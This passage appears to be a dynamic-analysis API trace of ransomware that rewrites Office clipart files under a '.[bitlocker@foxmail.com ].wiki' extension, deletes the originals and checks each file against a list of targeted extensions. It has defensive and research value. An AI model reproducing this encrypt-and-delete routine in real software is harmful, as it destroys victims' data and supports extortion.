0x1cc [0195.068] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.068] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0195.068] GetLastError () returned 0x0 [0195.068] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1028, lpOverlapped=0x0) returned 1 [0195.093] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1030, lpOverlapped=0x0) returned 1 [0195.094] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.094] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.094] SetEndOfFile (hFile=0x1f4) returned 1 [0195.094] CloseHandle (hObject=0x1f4) returned 1 [0195.094] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.095] SetEndOfFile (hFile=0x1cc) returned 1 [0195.095] CloseHandle (hObject=0x1cc) returned 1 [0195.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0195.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.096] lstrlenW (lpString=".doc") returned 4 [0195.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.096] lstrlenW (lpString=".docx") returned 5 [0195.096] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.096] lstrlenW (lpString=".pdf") returned 4 [0195.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.096] lstrlenW (lpString=".xls") returned 4 [0195.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.096] lstrlenW (lpString=".xlsx") returned 5 [0195.096] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.096] lstrlenW (lpString=".ppt") returned 4 [0195.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.096] lstrlenW (lpString=".zip") returned 4 [0195.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.096] lstrlenW (lpString=".rar") returned 4 [0195.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.096] lstrlenW (lpString=".bz2") returned 4 [0195.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.096] lstrlenW (lpString=".7z") returned 3 [0195.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.096] lstrlenW (lpString=".dbf") returned 4 [0195.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.097] lstrlenW (lpString=".1cd") returned 4 [0195.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.097] lstrlenW (lpString=".jpg") returned 4 [0195.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.097] lstrlenW (lpString=".doc") returned 4 [0195.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.097] lstrlenW (lpString=".docx") returned 5 [0195.097] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.097] lstrlenW (lpString=".pdf") returned 4 [0195.097] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.097] lstrlenW (lpString=".xls") returned 4 [0195.097] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.097] lstrlenW (lpString=".xlsx") returned 5 [0195.097] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.097] lstrlenW (lpString=".ppt") returned 4 [0195.097] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.097] lstrlenW (lpString=".zip") returned 4 [0195.097] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.097] lstrlenW (lpString=".rar") returned 4 [0195.097] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.097] lstrlenW (lpString=".bz2") returned 4 [0195.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.097] lstrlenW (lpString=".7z") returned 3 [0195.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.097] lstrlenW (lpString=".dbf") returned 4 [0195.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.098] lstrlenW (lpString=".1cd") returned 4 [0195.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0195.098] lstrlenW (lpString=".jpg") returned 4 [0195.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.098] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.098] lstrlenW (lpString="J0107314.WMF") returned 12 [0195.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.098] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=10852) returned 1 [0195.098] CloseHandle (hObject=0x1cc) returned 1 [0195.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 0x20 [0195.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.099] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.099] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0195.099] GetLastError () returned 0x0 [0195.099] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2a64, lpOverlapped=0x0) returned 1 [0195.154] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2a70, lpOverlapped=0x0) returned 1 [0195.156] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.156] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.156] SetEndOfFile (hFile=0x1f4) returned 1 [0195.156] CloseHandle (hObject=0x1f4) returned 1 [0195.156] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.156] SetEndOfFile (hFile=0x1cc) returned 1 [0195.157] CloseHandle (hObject=0x1cc) returned 1 [0195.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0195.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.158] lstrlenW (lpString=".doc") returned 4 [0195.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.158] lstrlenW (lpString=".docx") returned 5 [0195.158] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.158] lstrlenW (lpString=".pdf") returned 4 [0195.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.158] lstrlenW (lpString=".xls") returned 4 [0195.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.158] lstrlenW (lpString=".xlsx") returned 5 [0195.158] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.158] lstrlenW (lpString=".ppt") returned 4 [0195.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.158] lstrlenW (lpString=".zip") returned 4 [0195.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.158] lstrlenW (lpString=".rar") returned 4 [0195.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.158] lstrlenW (lpString=".bz2") returned 4 [0195.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.158] lstrlenW (lpString=".7z") returned 3 [0195.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.158] lstrlenW (lpString=".dbf") returned 4 [0195.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.158] lstrlenW (lpString=".1cd") returned 4 [0195.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.158] lstrlenW (lpString=".jpg") returned 4 [0195.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.159] lstrlenW (lpString=".doc") returned 4 [0195.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.159] lstrlenW (lpString=".docx") returned 5 [0195.159] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.159] lstrlenW (lpString=".pdf") returned 4 [0195.159] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.159] lstrlenW (lpString=".xls") returned 4 [0195.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.159] lstrlenW (lpString=".xlsx") returned 5 [0195.159] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.159] lstrlenW (lpString=".ppt") returned 4 [0195.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.159] lstrlenW (lpString=".zip") returned 4 [0195.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.159] lstrlenW (lpString=".rar") returned 4 [0195.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.159] lstrlenW (lpString=".bz2") returned 4 [0195.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.159] lstrlenW (lpString=".7z") returned 3 [0195.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.159] lstrlenW (lpString=".dbf") returned 4 [0195.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.159] lstrlenW (lpString=".1cd") returned 4 [0195.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0195.159] lstrlenW (lpString=".jpg") returned 4 [0195.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.160] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.160] lstrlenW (lpString="J0107342.WMF") returned 12 [0195.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.160] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4244) returned 1 [0195.160] CloseHandle (hObject=0x1cc) returned 1 [0195.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 0x20 [0195.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.162] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.162] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0195.163] GetLastError () returned 0x0 [0195.163] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1094, lpOverlapped=0x0) returned 1 [0195.188] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x10a0, lpOverlapped=0x0) returned 1 [0195.189] ReadFile (in: hFile=0x1cc, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.189] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.189] SetEndOfFile (hFile=0x1f4) returned 1 [0195.189] CloseHandle (hObject=0x1f4) returned 1 [0195.189] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.189] SetEndOfFile (hFile=0x1cc) returned 1 [0195.190] CloseHandle (hObject=0x1cc) returned 1 [0195.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0195.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.191] lstrlenW (lpString=".doc") returned 4 [0195.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.191] lstrlenW (lpString=".docx") returned 5 [0195.191] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.191] lstrlenW (lpString=".pdf") returned 4 [0195.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.191] lstrlenW (lpString=".xls") returned 4 [0195.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.191] lstrlenW (lpString=".xlsx") returned 5 [0195.191] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.191] lstrlenW (lpString=".ppt") returned 4 [0195.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.191] lstrlenW (lpString=".zip") returned 4 [0195.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.191] lstrlenW (lpString=".rar") returned 4 [0195.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.191] lstrlenW (lpString=".bz2") returned 4 [0195.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.191] lstrlenW (lpString=".7z") returned 3 [0195.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.191] lstrlenW (lpString=".dbf") returned 4 [0195.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.191] lstrlenW (lpString=".1cd") returned 4 [0195.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.192] lstrlenW (lpString=".jpg") returned 4 [0195.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.192] lstrlenW (lpString=".doc") returned 4 [0195.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.192] lstrlenW (lpString=".docx") returned 5 [0195.192] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.192] lstrlenW (lpString=".pdf") returned 4 [0195.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.192] lstrlenW (lpString=".xls") returned 4 [0195.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.192] lstrlenW (lpString=".xlsx") returned 5 [0195.192] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.192] lstrlenW (lpString=".ppt") returned 4 [0195.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.192] lstrlenW (lpString=".zip") returned 4 [0195.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.192] lstrlenW (lpString=".rar") returned 4 [0195.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.192] lstrlenW (lpString=".bz2") returned 4 [0195.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.192] lstrlenW (lpString=".7z") returned 3 [0195.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.192] lstrlenW (lpString=".dbf") returned 4 [0195.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.194] lstrlenW (lpString=".1cd") returned 4 [0195.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0195.194] lstrlenW (lpString=".jpg") returned 4 [0195.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.194] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.194] lstrlenW (lpString="J0107358.WMF") returned 12 [0195.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.195] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=7964) returned 1 [0195.195] CloseHandle (hObject=0x1cc) returned 1 [0195.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 0x20 [0195.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.195] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.195] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, 